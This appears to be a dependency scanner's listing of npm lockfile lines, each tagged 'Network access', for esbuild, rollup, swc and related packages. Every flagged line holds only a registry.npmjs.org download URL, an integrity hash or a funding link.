"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", - Network accessline 563
"resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", - Network accessline 578
"node_modules/@esbuild/linux-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", - Network accessline 579
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", - Network accessline 580
"resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", - Network accessline 595
"node_modules/@esbuild/netbsd-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", - Network accessline 596
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", - Network accessline 597
"resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", - Network accessline 612
"node_modules/@esbuild/netbsd-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", - Network accessline 613
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", - Network accessline 614
"resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", - Network accessline 629
"node_modules/@esbuild/openbsd-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", - Network accessline 630
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", - Network accessline 631
"resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", - Network accessline 646
"node_modules/@esbuild/openbsd-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", - Network accessline 647
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", - Network accessline 648
"resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", - Network accessline 663
"node_modules/@esbuild/openharmony-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", - Network accessline 664
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdA - Network accessline 665
"resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", - Network accessline 680
"node_modules/@esbuild/sunos-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", - Network accessline 681
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", - Network accessline 682
"resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", - Network accessline 697
"node_modules/@esbuild/win32-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", - Network accessline 698
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", - Network accessline 699
"resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", - Network accessline 714
"node_modules/@esbuild/win32-ia32": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", - Network accessline 715
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", - Network accessline 716
"resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", - Network accessline 731
"node_modules/@esbuild/win32-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", - Network accessline 732
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", - Network accessline 733
"resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", - Network accessline 748
"node_modules/@jridgewell/gen-mapping": { "version": "0.3.13", "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", - Network accessline 749
"version": "0.3.13", "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", - Network accessline 750
"resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", - Network accessline 759
"node_modules/@jridgewell/remapping": { "version": "2.3.5", "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", - Network accessline 760
"version": "2.3.5", "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", - Network accessline 761
"resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", - Network accessline 770
"node_modules/@jridgewell/resolve-uri": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - Network accessline 771
"version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - Network accessline 772
"resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - Network accessline 780
"node_modules/@jridgewell/sourcemap-codec": { "version": "1.5.5", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - Network accessline 781
"version": "1.5.5", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==" - Network accessline 782
"resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - Network accessline 787
"node_modules/@jridgewell/trace-mapping": { "version": "0.3.31", "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - Network accessline 788
"version": "0.3.31", "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", - Network accessline 789
"resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - Network accessline 798
"node_modules/@rolldown/pluginutils": { "version": "1.0.0-beta.27", "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz", - Network accessline 799
"version": "1.0.0-beta.27", "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz", "integrity": "sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAn - Network accessline 800
"resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz", - Network accessline 805
"node_modules/@rollup/rollup-android-arm-eabi": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.54.0.tgz", - Network accessline 806
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.54.0.tgz", "integrity": "sha512-OywsdRHrFvCdvsewAInDKCNyR3laPA2mc9bRYJ6LBp5IyvF3fvXbbNR0bSzHlZVFtn6E0xw2oZl - Network accessline 807
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.54.0.tgz", - Network accessline 819
"node_modules/@rollup/rollup-android-arm64": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.54.0.tgz", - Network accessline 820
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.54.0.tgz", "integrity": "sha512-Skx39Uv+u7H224Af+bDgNinitlmHyQX1K/atIA32JP3JQw6hVODX5tkbi2zof/E69M1qH2UoN3Xdxgs90 - Network accessline 821
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.54.0.tgz", - Network accessline 833
"node_modules/@rollup/rollup-darwin-arm64": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.54.0.tgz", - Network accessline 834
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.54.0.tgz", "integrity": "sha512-k43D4qta/+6Fq+nCDhhv9yP2HdeKeP56QrUUTW7E6PhZP1US6NDqpJj4MY0jBHlJivVJD5P8NxrjuobZBJT - Network accessline 835
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.54.0.tgz", - Network accessline 847
"node_modules/@rollup/rollup-darwin-x64": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.54.0.tgz", - Network accessline 848
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.54.0.tgz", "integrity": "sha512-cOo7biqwkpawslEfox5Vs8/qj83M/aZCSSNIWpVzfU2CYHa2G3P1UN5WF01RdTHSgCkri7XOlTdtk17BezlV3A= - Network accessline 849
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.54.0.tgz", - Network accessline 861
"node_modules/@rollup/rollup-freebsd-arm64": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.54.0.tgz", - Network accessline 862
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.54.0.tgz", "integrity": "sha512-miSvuFkmvFbgJ1BevMa4CPCFt5MPGw094knM64W9I0giUIMMmRYcGW/JWZDriaw/k1kOBtsWh1z6nIFV1 - Network accessline 863
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.54.0.tgz", - Network accessline 875
"node_modules/@rollup/rollup-freebsd-x64": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.54.0.tgz", - Network accessline 876
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.54.0.tgz", "integrity": "sha512-KGXIs55+b/ZfZsq9aR026tmr/+7tq6VG6MsnrvF4H8VhwflTIuYh+LFUlIsRdQSgrgmtM3fVATzEAj4hBQlaq - Network accessline 877
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.54.0.tgz", - Network accessline 889
"node_modules/@rollup/rollup-linux-arm-gnueabihf": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.54.0.tgz", - Network accessline 890
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.54.0.tgz", "integrity": "sha512-EHMUcDwhtdRGlXZsGSIuXSYwD5kOT9NVnx9sqzYiwAc91wfYOE1g1djOEDseZJKKqtHAH - Network accessline 891
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.54.0.tgz", - Network accessline 903
"node_modules/@rollup/rollup-linux-arm-musleabihf": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.54.0.tgz", - Network accessline 904
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.54.0.tgz", "integrity": "sha512-+pBrqEjaakN2ySv5RVrj/qLytYhPKEUwk+e3SFU5jTLHIcAtqh2rLrd/OkbNuHJpsBg - Network accessline 905
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.54.0.tgz", - Network accessline 917
"node_modules/@rollup/rollup-linux-arm64-gnu": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.54.0.tgz", - Network accessline 918
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.54.0.tgz", "integrity": "sha512-NSqc7rE9wuUaRBsBp5ckQ5CVz5aIRKCwsoa6WMF7G01sX3/qHUw/z4pv+D+ahL1EIKy6Enpcnz1RY - Network accessline 919
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.54.0.tgz", - Network accessline 931
"node_modules/@rollup/rollup-linux-arm64-musl": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.54.0.tgz", - Network accessline 932
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.54.0.tgz", "integrity": "sha512-gr5vDbg3Bakga5kbdpqx81m2n9IX8M6gIMlQQIXiLTNeQW6CucvuInJ91EuCJ/JYvc+rcLLsDFc - Network accessline 933
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.54.0.tgz", - Network accessline 945
"node_modules/@rollup/rollup-linux-loong64-gnu": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.54.0.tgz", - Network accessline 946
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.54.0.tgz", "integrity": "sha512-gsrtB1NA3ZYj2vq0Rzkylo9ylCtW/PhpLEivlgWe0bpgtX5+9j9EZa0wtZiCjgu6zmSeZWyI/ - Network accessline 947
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.54.0.tgz", - Network accessline 959
"node_modules/@rollup/rollup-linux-ppc64-gnu": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.54.0.tgz", - Network accessline 960
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.54.0.tgz", "integrity": "sha512-y3qNOfTBStmFNq+t4s7Tmc9hW2ENtPg8FeUD/VShI7rKxNW7O4fFeaYbMsd3tpFlIg1Q8IapFgy7Q - Network accessline 961
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.54.0.tgz", - Network accessline 973
"node_modules/@rollup/rollup-linux-riscv64-gnu": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.54.0.tgz", - Network accessline 974
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.54.0.tgz", "integrity": "sha512-89sepv7h2lIVPsFma8iwmccN7Yjjtgz0Rj/Ou6fEqg3HDhpCa+Et+YSufy27i6b0Wav69Qv4W - Network accessline 975
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.54.0.tgz", - Network accessline 987
"node_modules/@rollup/rollup-linux-riscv64-musl": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.54.0.tgz", - Network accessline 988
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.54.0.tgz", "integrity": "sha512-ZcU77ieh0M2Q8Ur7D5X7KvK+UxbXeDHwiOt/CPSBTI1fBmeDMivW0dPkdqkT4rOgDjrDDBU - Network accessline 989
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.54.0.tgz", - Network accessline 1001
"node_modules/@rollup/rollup-linux-s390x-gnu": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.54.0.tgz", - Network accessline 1002
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.54.0.tgz", "integrity": "sha512-2AdWy5RdDF5+4YfG/YesGDDtbyJlC9LHmL6rZw6FurBJ5n4vFGupsOBGfwMRjBYH7qRQowT8D/U4L - Network accessline 1003
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.54.0.tgz", - Network accessline 1015
"node_modules/@rollup/rollup-linux-x64-gnu": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.54.0.tgz", - Network accessline 1016
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.54.0.tgz", "integrity": "sha512-WGt5J8Ij/rvyqpFexxk3ffKqqbLf9AqrTBbWDk7ApGUzaIs6V+s2s84kAxklFwmMF/vBNGrVdYgbblCOF - Network accessline 1017
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.54.0.tgz", - Network accessline 1029
"node_modules/@rollup/rollup-linux-x64-musl": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.54.0.tgz", - Network accessline 1030
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.54.0.tgz", "integrity": "sha512-JzQmb38ATzHjxlPHuTH6tE7ojnMKM2kYNzt44LO/jJi8BpceEC8QuXYA908n8r3CNuG/B3BV8VR3Hi1 - Network accessline 1031
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.54.0.tgz", - Network accessline 1043
"node_modules/@rollup/rollup-openharmony-arm64": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.54.0.tgz", - Network accessline 1044
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.54.0.tgz", "integrity": "sha512-huT3fd0iC7jigGh7n3q/+lfPcXxBi+om/Rs3yiFxjvSxbSB6aohDFXbWvlspaqjeOh+hx7DDH - Network accessline 1045
"resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.54.0.tgz", - Network accessline 1057
"node_modules/@rollup/rollup-win32-arm64-msvc": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.54.0.tgz", - Network accessline 1058
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.54.0.tgz", "integrity": "sha512-c2V0W1bsKIKfbLMBu/WGBz6Yci8nJ/ZJdheE0EwB73N3MvHYKiKGs3mVilX4Gs70eGeDaMqEob2 - Network accessline 1059
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.54.0.tgz", - Network accessline 1071
"node_modules/@rollup/rollup-win32-ia32-msvc": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.54.0.tgz", - Network accessline 1072
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.54.0.tgz", "integrity": "sha512-woEHgqQqDCkAzrDhvDipnSirm5vxUXtSKDYTVpZG3nUdW/VVB5VdCYA2iReSj/u3yCZzXID4kuKG7 - Network accessline 1073
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.54.0.tgz", - Network accessline 1085
"node_modules/@rollup/rollup-win32-x64-gnu": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.54.0.tgz", - Network accessline 1086
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.54.0.tgz", "integrity": "sha512-dzAc53LOuFvHwbCEOS0rPbXp6SIhAf2txMP5p6mGyOXXw5mWY8NGGbPMPrs4P1WItkfApDathBj/NzMLU - Network accessline 1087
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.54.0.tgz", - Network accessline 1099
"node_modules/@rollup/rollup-win32-x64-msvc": { "version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.54.0.tgz", - Network accessline 1100
"version": "4.54.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.54.0.tgz", "integrity": "sha512-hYT5d3YNdSh3mbCU1gwQyPgQd3T2ne0A3KG8KSBdav5TiBg6eInVmV+TeR5uHufiIgSFg0XsOWGW5/R - Network accessline 1101
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.54.0.tgz", - Network accessline 1113
"node_modules/@swc/core": { "version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core/-/core-1.15.8.tgz", - Network accessline 1114
"version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core/-/core-1.15.8.tgz", "integrity": "sha512-T8keoJjXaSUoVBCIjgL6wAnhADIb09GOELzKg10CjNg+vLX48P93SME6jTfte9MZIm5m+Il57H3rTSk/0kzDUw==", - Network accessline 1115
"resolved": "https://registry.npmjs.org/@swc/core/-/core-1.15.8.tgz", - Network accessline 1127
"funding": { "type": "opencollective", "url": "https://opencollective.com/swc" - Network accessline 1128
"type": "opencollective", "url": "https://opencollective.com/swc" }, - Network accessline 1129
"url": "https://opencollective.com/swc" - Network accessline 1152
"node_modules/@swc/core-darwin-arm64": { "version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-darwin-arm64/-/core-darwin-arm64-1.15.8.tgz", - Network accessline 1153
"version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-darwin-arm64/-/core-darwin-arm64-1.15.8.tgz", "integrity": "sha512-M9cK5GwyWWRkRGwwCbREuj6r8jKdES/haCZ3Xckgkl8MUQJZA3XB7IXXK1IXRNeLjg6m7cnoMICpXv1v1hlJOg==", - Network accessline 1154
"resolved": "https://registry.npmjs.org/@swc/core-darwin-arm64/-/core-darwin-arm64-1.15.8.tgz", - Network accessline 1169
"node_modules/@swc/core-darwin-x64": { "version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-darwin-x64/-/core-darwin-x64-1.15.8.tgz", - Network accessline 1170
"version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-darwin-x64/-/core-darwin-x64-1.15.8.tgz", "integrity": "sha512-j47DasuOvXl80sKJHSi2X25l44CMc3VDhlJwA7oewC1nV1VsSzwX+KOwE5tLnfORvVJJyeiXgJORNYg4jeIjYQ==", - Network accessline 1171
"resolved": "https://registry.npmjs.org/@swc/core-darwin-x64/-/core-darwin-x64-1.15.8.tgz", - Network accessline 1186
"node_modules/@swc/core-linux-arm-gnueabihf": { "version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-linux-arm-gnueabihf/-/core-linux-arm-gnueabihf-1.15.8.tgz", - Network accessline 1187
"version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-linux-arm-gnueabihf/-/core-linux-arm-gnueabihf-1.15.8.tgz", "integrity": "sha512-siAzDENu2rUbwr9+fayWa26r5A9fol1iORG53HWxQL1J8ym4k7xt9eME0dMPXlYZDytK5r9sW8zE - Network accessline 1188
"resolved": "https://registry.npmjs.org/@swc/core-linux-arm-gnueabihf/-/core-linux-arm-gnueabihf-1.15.8.tgz", - Network accessline 1203
"node_modules/@swc/core-linux-arm64-gnu": { "version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-gnu/-/core-linux-arm64-gnu-1.15.8.tgz", - Network accessline 1204
"version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-gnu/-/core-linux-arm64-gnu-1.15.8.tgz", "integrity": "sha512-o+1y5u6k2FfPYbTRUPvurwzNt5qd0NTumCTFscCNuBksycloXY16J8L+SMW5QRX59n4Hp9EmFa3vpvNHRVv1 - Network accessline 1205
"resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-gnu/-/core-linux-arm64-gnu-1.15.8.tgz", - Network accessline 1220
"node_modules/@swc/core-linux-arm64-musl": { "version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-musl/-/core-linux-arm64-musl-1.15.8.tgz", - Network accessline 1221
"version": "1.15.8", "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-musl/-/core-linux-arm64-musl-1.15.8.tgz", "integrity": "sha512-koiCqL09EwOP1S2RShCI7NbsQuG6r2brTqUYE7pV7kZm9O17wZ0LSz22m6gVibpwEnw8jI3IE1yYsQTVpl - Network accessline 1222
"resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-musl/-/core-linux-arm64-musl-1.15.8.tgz", - Network accessline 1237
